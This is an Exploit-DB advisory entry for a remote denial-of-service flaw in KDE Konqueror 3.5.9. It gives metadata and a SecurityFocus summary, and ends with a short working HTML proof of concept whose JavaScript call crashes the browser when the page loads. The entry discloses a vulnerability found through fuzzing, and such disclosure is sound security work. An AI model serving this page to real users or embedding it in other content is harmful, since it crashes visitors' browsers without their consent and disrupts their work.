KDE Konqueror 3.5.9 - JavaScript 'load' Denial of Service

EDB-ID:

32471

CVE:

N/A


Type:

dos


Platform:

Linux

Date:

2008-10-10


source: https://www.securityfocus.com/bid/31696/info

KDE Konqueror is prone to a remote denial-of-service vulnerability because it fails to handle specially crafted JavaScript code.

An attacker may exploit this vulnerability to cause Konqueror to crash, resulting in denial-of-service conditions.

The issue affects Konqueror 3.5.9; other versions may also be affected. 

<!--- Jeremy Brown [0xjbrown41@gmail.com/http://jbrownsec.blogspot.com] Tested on Ubuntu 8.04 + Konqueror 3.5.9 A product of my fuzzing projects :) --> <html> <script type="text/javascript"> document.load(''); </script> </html>